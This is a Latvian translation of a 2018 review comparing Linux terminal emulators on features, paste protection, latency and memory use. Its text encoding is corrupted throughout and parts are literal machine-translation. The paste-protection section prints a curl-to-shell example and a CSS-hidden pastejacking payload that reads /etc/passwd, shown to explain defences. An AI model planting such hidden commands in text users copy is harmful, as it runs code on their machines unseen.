Pārskats par termināļa emulatoriem

Daži vārdi no mÅ«su tulkoÅ”anas biroja: parasti visi cenÅ”as iztulkot jaunākos materiālus un publikācijas, un mēs neesam izņēmums. Taču termināļi nav nekas tāds, kas tiek atjaunināts reizi nedēļā. Tāpēc esam iztulkojuÅ”i jums Antuāna Boprē rakstu, kas publicēts 2018. gada pavasarÄ«: neskatoties uz tā ievērojamo ā€œvecumuā€ pēc mÅ«sdienu standartiem, mÅ«suprāt, materiāls nemaz nav zaudējis savu aktualitāti. Turklāt sākotnēji Ŕī bija divu rakstu sērija, taču mēs nolēmām tos apvienot vienā lielā ierakstā.

Pārskats par termināļa emulatoriem

Termināļiem ir Ä«paÅ”a vieta datoru vēsturē, taču pēdējās desmitgadēs tie ir bijuÅ”i spiesti izdzÄ«vot lÄ«dzās komandrindai, jo grafiskās saskarnes kļūst visuresoÅ”as. Termināļa emulatori aizstāja savējos aparatÅ«ras brāļi, kas savukārt bija sistēmu modifikācijas, kuru pamatā ir perfokartes un pārslēgÅ”anas slēdži. MÅ«sdienu izplatÄ«jumos ir dažādi dažādu formu un krāsu termināļa emulatori. Un, lai gan daudzi ir apmierināti ar standarta termināli, ko nodroÅ”ina viņu darba vide, daži ar lepnumu izmanto gluži eksotisku programmatÅ«ru, lai palaistu savu iecienÄ«tāko čaulu vai teksta redaktoru. Bet, kā mēs redzēsim no Ŕī raksta, ne visi termināļi tika izveidoti vienā attēlā: tie ievērojami atŔķiras pēc funkcionalitātes, izmēra un veiktspējas.

Dažiem termināļiem ir pārsteidzoÅ”i droŔības caurumi, turklāt lielākajai daļai ir pilnÄ«gi atŔķirÄ«gs funkciju kopums, sākot no interfeisa ar cilnēm atbalsta lÄ«dz skriptÄ“Å”anai. Lai gan mēs apskatÄ«ja termināļa emulatorus tālā pagātnē, Å”is raksts ir iepriekŔējā materiāla atjauninājums, kas palÄ«dzēs lasÄ«tājiem noteikt, kuru termināli izmantot 2018. gadā. Raksta pirmajā pusē tiek salÄ«dzinātas funkcijas, bet otrajā pusē tiek novērtēta veiktspēja.

Šeit ir manis pārskatītie termināļi:

Pārskats par termināļa emulatoriem

Tās var nebÅ«t jaunākās versijas, jo rakstÄ«Å”anas laikā es aprobežojos ar stabilām versijām, kuras varēju ieviest Debian 9 vai Fedora 27. VienÄ«gais izņēmums ir Alacritty. Tas ir GPU paātrināto termināļu pēctecis un ir uzrakstÄ«ts Å”im uzdevumam neparastā un jaunā valodā - Rust. Es no sava pārskata izslēdzu tÄ«mekļa termināļus (tostarp tos, kas ir Elektrons), jo provizoriskie testi parādÄ«ja to ārkārtÄ«gi vājo sniegumu.

Unikoda atbalsts

Es sāku savus testus ar Unicode atbalstu. Pirmais termināļu tests bija parādÄ«t Unikoda virkni no Wikipedia raksti: "Ć©, Ī”, Š˜, ק, Ł…, ą¹—, 恂, 叶, 葉 un ė§." Å is vienkārÅ”ais tests parāda, vai terminālis var pareizi darboties visā pasaulē. xterm terminālis nerāda arābu rakstzÄ«mi Mem noklusējuma konfigurācijā:

Pārskats par termināļa emulatoriem

Pēc noklusējuma xterm izmanto klasisko "fiksēto" fontu, kas saskaņā ar joprojām tā pati Vikija, ir "bÅ«tisks Unicode pārklājums kopÅ” 1997. gada". Å ajā fontā notiek kaut kas, kā rezultātā rakstzÄ«me parādās kā tukÅ”s rāmis, un tikai tad, kad teksta fonts tiek palielināts lÄ«dz 20+ punktiem, rakstzÄ«me beidzot sāk parādÄ«ties pareizi. Tomēr Å”is ā€œlabojumsā€ pārtrauc citu Unikoda rakstzÄ«mju rādÄ«Å”anu:

Pārskats par termināļa emulatoriem

Å ie ekrānuzņēmumi tika uzņemti Fedora 27, jo tas sniedza labākus rezultātus nekā Debian 9, kur dažas vecākas termināļu versijas (Ä«paÅ”i mlterm) nevarēja pareizi apstrādāt fontus. Par laimi tas tika labots jaunākajās versijās.

Tagad ievērojiet, kā lÄ«nija tiek parādÄ«ta programmā xterm. Izrādās, ka simbols Mem un tam sekojoÅ”ais semÄ«ts qoph atsaukties uz RTL stila skriptiem (no labās puses uz kreiso), tāpēc tehniski tie bÅ«tu jārāda no labās uz kreiso pusi. TÄ«mekļa pārlÅ«kprogrammas, piemēram, Firefox 57, pareizi apstrādā iepriekÅ” minēto rindiņu. VienkārŔāka RTL teksta versija ir vārds "Sāra"ebreju valodā (Sāra). Wiki lapa par divvirzienu tekstiem saka sekojoÅ”o:

"Daudzas datorprogrammas nevar pareizi attēlot divvirzienu tekstu. Piemēram, ebreju vārds "Sāra" sastāv no rakstzÄ«mēm sin (ש) (kas parādās labajā pusē), pēc tam resh (×Ø) un visbeidzot viņŔ (ה) (kam vajadzētu parādÄ«ties kreisajā pusē)."

Daudzi termināļi Å”o testu neiztur: Alacritty, VTE atvasinātie Gnome un XFCE termināļi, urxvt, st un xterm parāda "Sara" apgrieztā secÄ«bā, it kā mēs nosaukumu bÅ«tu uzrakstÄ«juÅ”i kā "Aras".

Pārskats par termināļa emulatoriem

Vēl viena problēma ar divvirzienu tekstiem ir tā, ka tie ir kaut kā jāsaskaņo, it Ä«paÅ”i, ja runa ir par RTL un LTR tekstu sajaukÅ”anu. RTL skriptiem jādarbojas no termināļa loga labās puses, bet kam vajadzētu notikt termināļiem, kuru noklusējuma valoda ir LTR angļu valoda? Lielākajai daļai no tiem nav Ä«paÅ”u mehānismu un viss teksts tiek izlÄ«dzināts pa kreisi (arÄ« Konsolē). Izņēmumi ir pterm un mlterm, kas atbilst standartiem un izlÄ«dzina Ŕādas lÄ«nijas pa labi.

Pārskats par termināļa emulatoriem

IevietoŔanas aizsardzība

Nākamā kritiskā iezÄ«me, ko esmu identificējis, ir aizsardzÄ«ba pret ievietoÅ”anu. Lai gan ir plaÅ”i zināms, ka tādas burvestÄ«bas kā:

$ curl http://example.com/ | sh

ir koda izpildes push komandas, daži cilvēki zina, ka slēptās komandas var ielīst konsolē, kopējot un ielīmējot no tīmekļa pārlūkprogrammas, pat pēc rūpīgas pārbaudes. Verifikācijas vietne Gianna Horna lieliski parāda, cik nekaitīga izskatās komanda:

git clone git: //git.kernel.org/pub/scm/utils/kup/kup.git

pārvērÅ”as par Ŕādu apgrÅ«tinājumu, kad tas tiek ielÄ«mēts no Horna vietnes terminālÄ«:

git clone /dev/null;
    clear;
	echo -n "Hello ";
	whoami|tr -d 'n';
	echo -e '!nThat was a bad idea. Don'"'"'t copy code from websites you don'"'"'t trust! 
	Here'"'"'s the first line of your /etc/passwd: ';
	head -n1 /etc/passwd
	git clone git://git.kernel.org/pub/scm/utils/kup/kup.git

Kā tas strādā? Blokā ir iekļauts ļaunprātīgs kods , kas tiek pārvietots no lietotāja skata, izmantojot CSS.

IelÄ«mÄ“Å”anas režīms ar iekavām ir nepārprotami izstrādāts, lai neitralizētu Ŕādus uzbrukumus. Å ajā režīmā termināļi iekļauj ielÄ«mēto tekstu Ä«paŔās atkāpÅ”anās secÄ«bās, lai informētu čaulu par teksta izcelsmi. Tas norāda apvalkam, ka tas var ignorēt Ä«paŔās rakstzÄ«mes, kuras var saturēt ielÄ«mētajā tekstā. Visi termināļi atpakaļ uz cienÄ«jamo xterm atbalsta Å”o funkciju, taču, lai ielÄ«mētu iekavu režīmā, nepiecieÅ”ams atbalsts no čaulas vai lietojumprogrammas, kas darbojas terminālÄ«. Piemēram, programmatÅ«ra, kas izmanto GNU Readline (tas pats Bash), nepiecieÅ”ams fails ~/.inputrc:

set enable-bracketed-paste on

Diemžēl Horna testa vietne parāda arÄ« to, kā apiet Å”o aizsardzÄ«bu, izmantojot paÅ”u teksta formatējumu, un priekÅ”laicÄ«gi tam tiek piemērots Bracketed režīms. Tas darbojas, jo daži termināļi pirms savējo pievienoÅ”anas pareizi nefiltrē evakuācijas secÄ«bas. Piemēram, manējā es nekad nevarēju veiksmÄ«gi pabeigt Konsole testus pat ar pareizu konfigurāciju .inputrc failu. Tas nozÄ«mē, ka jÅ«s varat viegli sabojāt sistēmas konfigurāciju neatbalstÄ«tas lietojumprogrammas vai nepareizi konfigurēta apvalka dēļ. Tas ir Ä«paÅ”i bÄ«stami, piesakoties attālos serveros, kur rÅ«pÄ«gs konfigurācijas darbs ir retāk sastopams, it Ä«paÅ”i, ja jums ir daudz Ŕādu attālo iekārtu.

Labs Ŕīs problēmas risinājums ir termināļa ielÄ«mÄ“Å”anas apstiprinājuma spraudnis urxvt, kas vienkārÅ”i lÅ«dz atļauju ievietot jebkuru tekstu, kurā ir jaunas rindiņas. Neesmu atradis droŔāku variantu Horna aprakstÄ«tajam teksta uzbrukumam.

Cilnes un profili

PaÅ”laik populāra funkcija ir atbalsts interfeisam ar cilnēm, ko mēs definēsim kā vienu termināļa logu, kurā ir vairāki citi termināļi. Å Ä« funkcija dažādiem termināļiem atŔķiras, un, lai gan tradicionālie xterm termināļi vispār neatbalsta cilnes, modernākiem termināļiem, piemēram, Xfce Terminal, GNOME Terminal un Konsole, Ŕī funkcija ir. Urxvt atbalsta arÄ« cilnes, taču tikai tad, ja izmantojat spraudni. Bet paÅ”a cilņu atbalsta ziņā Terminator ir neapstrÄ«dams lÄ«deris: tas ne tikai atbalsta cilnes, bet arÄ« var sakārtot termināļus jebkurā secÄ«bā (skatiet attēlu zemāk).

Pārskats par termināļa emulatoriem

Vēl viena Terminator iezÄ«me ir iespēja "grupēt" Ŕīs cilnes kopā un nosÅ«tÄ«t vienus un tos paÅ”us taustiņsitienus uz vairākiem termināļiem vienlaikus, nodroÅ”inot neapstrādātu rÄ«ku lielapjoma operāciju veikÅ”anai vairākos serveros vienlaikus. LÄ«dzÄ«ga funkcija ir ieviesta arÄ« Konsolē. Lai izmantotu Å”o funkciju citos termināļos, ir jāizmanto treŔās puses programmatÅ«ra, piemēram, SSH klasteris, xlax vai tmux.

Cilnes darbojas Ä«paÅ”i labi, ja tās ir savienotas pārÄ« ar profiliem: piemēram, jums var bÅ«t viena cilne e-pastam, cita tērzÄ“Å”anai un tā tālāk. To labi atbalsta Konsole terminālis un GNOME terminālis. Abas ļauj katrai cilnei automātiski palaist savu profilu. Terminator atbalsta arÄ« profilus, taču es nevarēju atrast veidu, kā automātiski palaist noteiktas programmas, atverot noteiktu cilni. Citiem termināļiem vispār nav jēdziena ā€œprofilsā€.

Volāni

Pēdējā lieta, ko es aplÅ«koÅ”u Ŕī raksta pirmajā daļā, ir termināļu izskats. Piemēram, GNOME, Xfce un urxvt atbalsta caurspÄ«dÄ«gumu, bet nesen ir atteikuÅ”ies atbalstÄ«t fona attēlus, liekot dažiem lietotājiem pārslēgties uz termināli. Tiliks. PersonÄ«gi es esmu apmierināts ar to, un tas ir vienkārÅ”i Xresursi, kas nosaka urxvt fona krāsu pamatkopu. Tomēr problēmas var radÄ«t arÄ« nestandarta krāsu motÄ«vi. Piemēram, Solarizēts nedarbojas ar aplikācijām htop Šø IPTraf, jo viņi jau izmanto savas krāsas.

OriÄ£inālais VT100 terminālis neatbalstÄ«ja krāsas, un jaunas bieži vien aprobežojās ar 256 krāsu paleti. PieredzējuÅ”iem lietotājiem, kuri ieveido savus termināļus, čaulas uzvednes vai statusa joslas sarežģītos veidos var bÅ«t kaitinoÅ”s ierobežojums. Gist izseko, kuriem termināļiem ir "True Color" atbalsts. Mani testi apstiprina, ka st, Alacrtty un VTE termināļi lieliski atbalsta True Color. Citiem termināļiem Å”ajā ziņā neklājas Ä«paÅ”i labi, un patiesÄ«bā tie pat nerāda 256 krāsas. Zemāk varat redzēt atŔķirÄ«bu starp True Color atbalstu GNOME termināļos, st un xterm, kas ar savu 256 krāsu paleti paveic labu darbu, un urxvt, kas ne tikai neiztur testu, bet pat parāda dažas mirgojoÅ”as rakstzÄ«mes to vietā.

Pārskats par termināļa emulatoriem

Daži termināļi arÄ« analizē tekstu, lai noteiktu URL modeļus, lai saites bÅ«tu noklikŔķināmas. Tas attiecas uz visiem VTE atvasinātajiem termināļiem, savukārt urxvt ir nepiecieÅ”ams Ä«paÅ”s spraudnis, kas pārveidotu URL, noklikŔķinot vai izmantojot Ä«sinājumtaustiņus. Citi termināļi Es esmu pārbaudÄ«jis redzamos URL citos veidos.

Visbeidzot, jauna tendence termināļos ir ritināŔanas bufera izvēles iespēja. Piemēram, st nav ritināŔanas bufera; tiek pieņemts, ka lietotājs izmantos termināļa multipleksoru, piemēram, tmux un GNU ekrāns.

Alacritty arÄ« trÅ«kst atpakaļritināŔanas buferu, bet drÄ«z tiks pievienots tā atbalstu, pateicoties lietotāju ā€œplaÅ”ajām atsauksmēmā€ par Å”o tēmu. NeatkarÄ«gi no Å”iem jauninājumiem, katrs manis pārbaudÄ«tais terminālis, ko es atradu, atbalsta apgriezto ritināŔanu.

Starpsumma

Materiāla otrajā daļā (oriÄ£inālā tie bija divi dažādi raksti - apm. josla) salÄ«dzināsim veiktspēju, atmiņas lietojumu un latentumu. Taču jau tagad redzam, ka dažiem attiecÄ«gajiem termināļiem ir nopietnas nepilnÄ«bas. Piemēram, lietotāji, kuri regulāri strādā ar RTL skriptiem, var vēlēties apsvērt mlterm un pterm, jo ā€‹ā€‹viņi labāk veic lÄ«dzÄ«gus uzdevumus nekā citi. Konsole arÄ« darbojās labi. Lietotāji, kuri nestrādā ar RTL skriptiem, var izvēlēties kaut ko citu.

AizsardzÄ«bas ziņā pret ļaunprātÄ«ga koda ievietoÅ”anu urxvt izceļas ar savu Ä«paÅ”o aizsardzÄ«bas pret Ŕāda veida uzbrukumiem ievieÅ”anu, kas man noteikti Ŕķiet ērti. Tiem, kas meklē zvaniņus un svilpes, Konsole ir vērts apskatÄ«t. Visbeidzot, ir vērts atzÄ«mēt, ka VTE ir lieliska bāze termināļiem, kas garantē krāsu atbalstu, URL atpazÄ«Å”anu utt. No pirmā acu uzmetiena noklusējuma terminālis, kas tiek piegādāts kopā ar jÅ«su iecienÄ«tāko vidi, var atbilst visām prasÄ«bām, taču atstāsim Å”o jautājumu atklātu, lÄ«dz mēs sapratÄ«sim veiktspēju.

Turpināsim sarunu


Kopumā termināļu veiktspēja pati par sevi var Ŕķist tāla problēma, taču, kā izrādās, dažiem no tiem ir pārsteidzoÅ”i augsts latentums Ŕāda veida programmatÅ«rai. ArÄ« tālāk mēs apskatÄ«sim to, ko tradicionāli sauc par ā€œÄtrumuā€ (patiesÄ«bā tas ir ritināŔanas ātrums) un termināļa atmiņas patēriņu (ar brÄ«dinājumu, ka Å”odien tas nav tik kritisks kā pirms gadu desmitiem).

KavÄ“Å”anās

Pēc rÅ«pÄ«gas termināļa veiktspējas izpētes nonācu pie secinājuma, ka svarÄ«gākais parametrs Å”ajā ziņā ir latentums (ping). Savā rakstā ā€œMēs drukājam ar priekuā€ Pāvels Fatins aplÅ«koja dažādu teksta redaktoru latentumu un deva mājienu, ka termināļi Å”ajā ziņā var bÅ«t lēnāki nekā ātrākie teksta redaktori. Tas bija Å”is mājiens, kas galu galā lika man veikt savus testus un rakstÄ«t Å”o rakstu.

Bet kas ir latentums un kāpēc tas ir tik svarÄ«gi? Savā rakstā Fatins to definēja kā ā€œkavÄ“Å”anos starp taustiņa nospieÅ”anu un atbilstoÅ”o ekrāna atjaunināŔanuā€ un citēja "Ceļvedis cilvēka un datora mijiedarbÄ«bai", kurā teikts: "Vizuālās atgriezeniskās saites aizkave datora displejā bÅ«tiski ietekmē maŔīnrakstÄ«tāja uzvedÄ«bu un apmierinātÄ«bu."

Fatins skaidro, ka Å”im pingam ir dziļākas sekas nekā tikai apmierinātÄ«ba: "rakstÄ«Å”ana kļūst lēnāka, rodas vairāk kļūdu un palielinās acu un muskuļu sasprindzinājums." Citiem vārdiem sakot, liela kavÄ“Å”anās var izraisÄ«t drukas kļūdas un arÄ« zemāku koda kvalitāti, jo tas rada papildu kognitÄ«vo slodzi smadzenēm. Bet vēl ļaunāk ir tas, ka ping "palielina acu un muskuļu sasprindzinājumu", kas, Ŕķiet, nozÄ«mē darba traumu attÄ«stÄ«ba nākotnē (AcÄ«mredzot autors domā problēmas ar acu muskuļiem, muguru, rokām un, protams, redzi - apm. josla) atkārtota stresa dēļ.

Daži no Å”iem efektiem ir zināmi jau ilgu laiku, un rezultāti pētniecÄ«ba, kas publicēts 1976. gadā žurnālā Ergonomika, teikts, ka 100 milisekundes aizkave "ievērojami pasliktina rakstÄ«Å”anas ātrumu". Pavisam nesen tika ieviesta GNOME lietotāja rokasgrāmata pieņemams reakcijas laiks 10 milisekundēs, un, ja dodaties tālāk, tad Microsoft Research parāda, ka 1 milisekunde ir ideāla.

Fatins veica savus testus teksta redaktoros; viņŔ izveidoja pārnēsājamu instrumentu, ko sauc Tipometrs, ko izmantoju, lai pārbaudÄ«tu ping termināļa emulatoros. Ņemiet vērā, ka pārbaude tika veikta simulācijas režīmā: patiesÄ«bā mums ir jāņem vērā gan ievades (tastatÅ«ra, USB kontrolleris utt.), gan izvades (videokartes buferis, monitors) latentums. Pēc Fatina teiktā, tipiskās konfigurācijās tas ir aptuveni 20 ms. Ja jums ir spēļu aprÄ«kojums, jÅ«s varat sasniegt Å”o skaitli tikai 3 milisekundēs. Tā kā mums jau ir tik ātra aparatÅ«ra, lietojumprogrammai nav jāpievieno savs latentums. Fatina mērÄ·is ir samazināt lietojumprogrammas latentumu lÄ«dz 1 milisekundei vai pat panākt numura sastādÄ«Å”anu bez tā izmērāma kavÄ“Å”anāskā iekŔā IntelliJ IDEA 15.

Šeit ir manu mērījumu rezultāti, kā arī daži Fatina rezultāti, lai parādītu, ka mans eksperiments saskan ar viņa testiem:

Pārskats par termināļa emulatoriem

Pirmā lieta, kas mani pārsteidza, bija vecāku programmu, piemēram, xterm un mlterm, labāks reakcijas laiks. Ar sliktāko reÄ£istra latentumu (2,4 ms) tie darbojās labāk nekā ātrākais mÅ«sdienu terminālis (10,6 ms st). Neviens modernais terminālis nenokrÄ«t zem 10 milisekundes sliekŔņa. Jo Ä«paÅ”i Alacrtty nespēj izpildÄ«t prasÄ«bu par "ātrāko pieejamo termināļa emulatoru", lai gan tās rādÄ«tāji ir uzlabojuÅ”ies kopÅ” tās pirmās pārskatÄ«Å”anas 2017. gadā. PatieŔām, projekta autori apzinās situāciju un strādā, lai uzlabotu displeju. Jāņem vērā arÄ« tas, ka Vim, kas izmanto GTK3, ir par lielumu lēnāks nekā tā GTK2 lÄ«dzinieks. No tā mēs varam secināt, ka GTK3 rada papildu latentumu, un tas atspoguļojas visos citos termināļos, kas to izmanto (Terminator, Xfce4 Terminal un GNOME Terminal).

Tomēr atŔķirÄ«bas var nebÅ«t acij pamanāmas. Kā skaidro Fatins, "jums nav jāapzinās kavÄ“Å”anās, lai tā jÅ«s ietekmētu." Fatins arÄ« brÄ«dina par standarta novirzi: "jebkuri latentuma traucējumi (trÄ«ce) rada papildu stresu to neparedzamÄ«bas dēļ."

Pārskats par termināļa emulatoriem

IepriekÅ” redzamā diagramma ir uzņemta tÄ«rā Debian 9 (izstiept) ar i3 logu pārvaldnieks. Å Ä« vide nodroÅ”ina vislabākos rezultātus latentuma pārbaudēs. Kā izrādās, GNOME izveido papildu 20 ms ping visiem mērÄ«jumiem. Iespējamais izskaidrojums tam ir programmu klātbÅ«tne ar ievades notikumu sinhronu apstrādi. Fatins sniedz piemēru Ŕādam gadÄ«jumam Workrave, kas pievieno aizkavi, sinhroni apstrādājot visus ievades notikumus. Pēc noklusējuma GNOME ir aprÄ«kots arÄ« ar logu pārvaldnieku murmināŔana, kas rada papildu buferizācijas slāni, kas ietekmē ping un pievieno vismaz 8 milisekundes latentuma.

Pārskats par termināļa emulatoriem

RitināŔanas ātrums

Nākamais tests ir tradicionāls "ātruma" vai "joslas platuma" tests, kas mēra, cik ātri terminālis var ritināt lapu, vienlaikus rādot lielu teksta daudzumu ekrānā. Testa mehānika atŔķiras; Sākotnējais tests bija vienkārÅ”i Ä£enerēt to paÅ”u teksta virkni, izmantojot komandu seq. Citi testi ietver Thomas E. Dickey (xterm uzturētāja) testu, kas atkārtoti tiek lejupielādēts fails terminfo.src. Citā termināļa veiktspējas pārskatā Den LÅ« izmanto base32 kodētu nejauÅ”u baitu virkni, kas tiek izvadÄ«ta terminālÄ«, izmantojot cat. Luu uzskata, ka Ŕāds tests ir "tik bezjēdzÄ«gs etalons, kādu var iedomāties" un tā vietā iesaka izmantot termināļa reakciju kā primāro metriku. Dikijs arÄ« savu testu sauc par maldinoÅ”u. Tomēr abi autori atzÄ«st, ka termināļa loga joslas platums var bÅ«t problēma. Luu atklāja, ka Emacs Eshell sastingst, parādot lielus failus, un Dickey optimizēja termināli, lai atbrÄ«votos no xtrerm vizuālā gausuma. Tāpēc Å”im testam joprojām ir dažas priekÅ”rocÄ«bas, taču, tā kā renderÄ“Å”anas process dažādos termināļos ir ļoti atŔķirÄ«gs, to var izmantot arÄ« kā testa komponentu, lai pārbaudÄ«tu citus parametrus.

Pārskats par termināļa emulatoriem

Šeit mēs redzam rxvt un st pull apsteidzot konkurentus, kam seko daudz jaunāks Alacrity, kas ir izstrādāts, koncentrējoties uz veiktspēju. Tālāk seko Xfce (VTE saime) un Konsole, kas ir gandrīz divas reizes ātrākas. Pēdējais ir xterm, kas ir piecas reizes lēnāks nekā rxvt. Pārbaudes laikā arī xterm ļoti viļņojās, padarot nododamo tekstu grūti saskatāmu, pat ja tā ir viena un tā pati rindiņa. Konsole bija ātra, taču dažkārt bija sarežģīta: displejs ik pa laikam sastinga, rādot daļēju tekstu vai nerādot to vispār. Citi termināļi skaidri rādīja virknes, tostarp st, Alacrtty un rxvt.

Dikijs skaidro, ka veiktspējas atŔķirÄ«bas ir saistÄ«tas ar ritināŔanas buferu dizainu dažādos terminālos. Jo Ä«paÅ”i viņŔ apsÅ«dz rxvt un citus termināļus "vispārējo noteikumu neievēroÅ”anā":

ā€œAtŔķirÄ«bā no xterm, rxvt nemēģināja parādÄ«t visus atjauninājumus. Ja tas atpaliek, tas atteiksies no dažiem atjauninājumiem, lai panāktu to. Tam bija lielāka ietekme uz Ŕķietamo ritināŔanas ātrumu nekā uz iekŔējās atmiņas organizāciju. Viens no trÅ«kumiem bija tas, ka ASCII animācija bija nedaudz neprecÄ«za."

Lai labotu Å”o uztverto xterm gausumu, Dikijs iesaka izmantot resursu ātra ritināŔana, ļaujot xterm atmest dažus ekrāna atjauninājumus, lai neatpaliktu no plÅ«smas. Mani testi apstiprina, ka fastScroll uzlabo veiktspēju un nodroÅ”ina xterm lÄ«dzvērtÄ«gu rxvt. Tomēr tas ir diezgan aptuvens kruÄ·is, kā skaidro pats Dikijs: "dažreiz Ŕķiet, ka xterm, piemēram, konsole, apstājas, gaidot jaunu ekrāna atjauninājumu kopu pēc tam, kad daži ir noņemti." Å ajā ziņā Ŕķiet, ka citi termināļi ir atraduÅ”i labāko kompromisu starp ātrumu un displeja integritāti.

Resursu patēriņŔ

NeatkarÄ«gi no tā, vai ir jēga uzskatÄ«t ritināŔanas ātrumu kā veiktspējas rādÄ«tāju, Å”is tests ļauj mums simulēt termināļu slodzi, kas savukārt ļauj izmērÄ«t citus parametrus, piemēram, atmiņas vai diska lietojumu. Metrikas tika iegÅ«tas, izpildot norādÄ«to testu seq saskaņā ar Python procesa uzraudzÄ«bu. ViņŔ savāca skaitÄ«tāja datus pārdzÄ«vojums () par ru_maxrss, summa ru_oublock Šø ru_inblock un vienkārÅ”s taimeris.

Pārskats par termināļa emulatoriem

Å ajā testā ST ieņem pirmo vietu ar zemāko vidējo atmiņas patēriņu 8 MB, kas nav pārsteidzoÅ”i, ņemot vērā, ka dizaina galvenā ideja ir vienkārŔība. mlterm, xterm un rxvt patērē nedaudz vairāk - apmēram 12 MB. Vēl viens ievērojams rezultāts ir Alakritty, kura darbÄ«bai nepiecieÅ”ami 30 MB. Tad ir VTE saimes termināļi ar skaitļiem no 40 lÄ«dz 60 MB, kas ir diezgan daudz. Å is patēriņŔ skaidrojams ar to, ka Å”ajos termināļos tiek izmantotas augstāka lÄ«meņa bibliotēkas, piemēram, GTK. Konsole ir pēdējā vietā ar milzÄ«gu 65 MB atmiņas patēriņu testu laikā, lai gan to var attaisnot ar ļoti plaÅ”o funkciju klāstu.

SalÄ«dzinot ar iepriekŔējiem rezultātiem, kas iegÅ«ti pirms desmit gadiem, visas programmas sāka patērēt ievērojami vairāk atmiņas. Xterm agrāk bija nepiecieÅ”ami 4 MB, bet tagad tikai startÄ“Å”anas laikā tam nepiecieÅ”ami 15 MB. LÄ«dzÄ«gs patēriņŔ ir palielinājies arÄ« rxvt, kuram tagad ir nepiecieÅ”ami 16 MB. Xfce Terminal aizņem 34 MB, kas ir trÄ«s reizes lielāks nekā iepriekÅ”, bet GNOME terminālim nepiecieÅ”ami tikai 20 MB. Protams, visi iepriekŔējie testi tika veikti ar 32 bitu arhitektÅ«ru. LCA 2012 Rusty Russell Es teicu, ka ir daudz smalkāku iemeslu, kas varētu izskaidrot atmiņas patēriņa pieaugumu. To sakot, mēs tagad dzÄ«vojam laikā, kad mums ir gigabaiti atmiņas, tāpēc mēs kaut kā tiksim galā.

Tomēr es nevaru nejust, ka vairāk atmiņas pieŔķirÅ”ana kaut kam tik bÅ«tiskam kā terminālim ir resursu izŔķērdÄ“Å”ana. Å Ä«m programmām jābÅ«t mazākajām no mazākajām, jāspēj darboties jebkurā ā€œkastēā€, pat kurpju kastē, ja mēs kādreiz nonāksim pie tā, ka tās ir jāaprÄ«ko ar Linux sistēmām (un jÅ«s zināt, ka tā bÅ«s ) . Taču, ņemot vērā Å”os skaitļus, atmiņas izmantoÅ”ana nākotnē kļūs par problēmu jebkurā vidē, kurā darbojas vairāki termināļi, izņemot dažus no vieglākajiem un ierobežotākajām iespējām. Lai to kompensētu, GNOME Terminal, Konsole, urxvt, Terminator un Xfce Terminal ir dēmona režīms, kas ļauj kontrolēt vairākus termināļus, izmantojot vienu procesu, ierobežojot to atmiņas patēriņu.

Pārskats par termināļa emulatoriem

Pārbaužu laikā es nonācu pie cita negaidÄ«ta rezultāta attiecÄ«bā uz diska lasÄ«Å”anu-rakstÄ«Å”anu: es gaidÄ«ju, ka Å”eit vispār neko neredzÄ“Å”u, taču izrādÄ«jās, ka daži termināļi ieraksta diskā apjomÄ«gākos datus. Tātad VTE bibliotēka diskā faktiski saglabā ritināŔanas buferi (Ŕī funkcija tika pamanÄ«ts jau 2010. gadā, un tas joprojām notiek). Bet atŔķirÄ«bā no vecākām implementācijām tagad vismaz Å”ie dati tiek Å”ifrēti, izmantojot AES256 GCM (no versijas 0.39.2). Taču rodas pamatots jautājums: kas gan VTE bibliotēkā ir tik Ä«paÅ”s, ka tā ievieÅ”anā prasa tik nestandarta pieeju...

Secinājums

Raksta pirmajā daļā mēs noskaidrojām, ka termināļiem, kuru pamatā ir VTE, ir labs funkciju kopums, taču tagad redzam, ka tas ir saistÄ«ts ar dažām veiktspējas izmaksām. Tagad atmiņa nav problēma, jo visus VTE termināļus var kontrolēt, izmantojot Daemon procesu, kas ierobežo to apetÄ«ti. Tomēr vecākām sistēmām, kurām ir fiziski ierobežojumi attiecÄ«bā uz RAM un kodola buferiem, joprojām var bÅ«t nepiecieÅ”amas vecākas termināļu versijas, jo tās patērē ievērojami mazāk resursu. Lai gan VTE termināļi veica labus caurlaidspējas (ritināŔanas) testus, to displeja latentums pārsniedz GNOME lietotāja rokasgrāmatā iestatÄ«to slieksni. Iespējams, VTE izstrādātājiem tas bÅ«tu jāņem vērā. Ja ņemam vērā, ka pat iesācējiem Linux lietotājiem saskarties ar termināli ir neizbēgami, viņi to var padarÄ«t lietotājam draudzÄ«gāku. PieredzējuÅ”iem džekiem pārslēgÅ”anās no noklusējuma termināļa var pat nozÄ«mēt mazāku acu nogurumu un iespēju izvairÄ«ties no turpmākām traumām un slimÄ«bām, kas saistÄ«tas ar darbu ilgu darba sesiju dēļ. Diemžēl tikai vecie xterm un mlterm mÅ«s noved pie maÄ£iskā ping sliekŔņa 10 milisekundēs, kas daudziem ir nepieņemami.

Etalona mērÄ«jumi arÄ« parādÄ«ja, ka Linux grafisko vidi izstrādes dēļ izstrādātājiem bija jāpieņem vairāki kompromisi. Daži lietotāji var vēlēties apskatÄ«t parastos logu pārvaldniekus, jo tie nodroÅ”ina ievērojamu ping samazinājumu. Diemžēl Wayland latentumu nebija iespējams izmērÄ«t: programma Typometer, ko izmantoju, tika izveidota tam, ko Wayland ir paredzēts novērst: citu logu spiegoÅ”anu. Es ceru, ka Wayland kompozÄ«cija darbojas labāk nekā X.org, un es arÄ« ceru, ka nākotnē kāds atradÄ«s veidu, kā izmērÄ«t latentumu Å”ajā vidē.

Avots: www.habr.com

Pievieno komentāru